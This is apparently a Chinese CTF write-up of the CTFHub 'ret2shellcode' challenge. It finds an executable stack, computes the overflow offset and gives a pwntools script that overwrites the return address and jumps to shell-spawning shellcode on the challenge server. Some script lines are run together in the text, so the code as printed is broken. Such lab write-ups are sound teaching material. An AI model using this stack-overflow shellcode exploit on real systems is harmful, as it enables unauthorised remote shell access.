ctfhubret2shellcode
先 checksec

发现存在RWX
去虚拟进程看看
vmmap

发现stack的权限有rwx,本题的攻破点就在栈上了。
IDA分析

由图可得:buf距rbp 0x10,也就是16个字节。
还要再覆盖上父函数的栈底的指针信息,因为是64架构,所以有8字节。
要把shellcode写入返回地址之后,所以shellcode地址为16+8+8=32
exp.py
from pwn import *
import recontext.arch = 'amd64'p=remote("challenge-2aa86c83bcfd1f4f.sandbox.ctfhub.com",27868)buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15: -1], 16) # buf 的地址
shellcode_addr = buf_addr + 32 # shellcode 的地址 = buf与rbp的距离16 + rbp的宽度8 + 返回地址的长度8shellcode = asm(shellcraft.sh()) #利用pwntools来构造shellcode,asm指转换为机器码payload = b'A' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()
时隔好久,再回顾时,我发现我没看懂最终的payload为什么要加上b'A' * 24,也就是buf地址加ebp地址。想了一会,p64(shellcode_addr)这里不是垃圾字符的填充,而是一个地址。我们填入shellcode后,还需要让返回地址对准shellcode的地址。
vim b.py
python3 b.py
ls
cat flag

连接成功,即可得flag
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
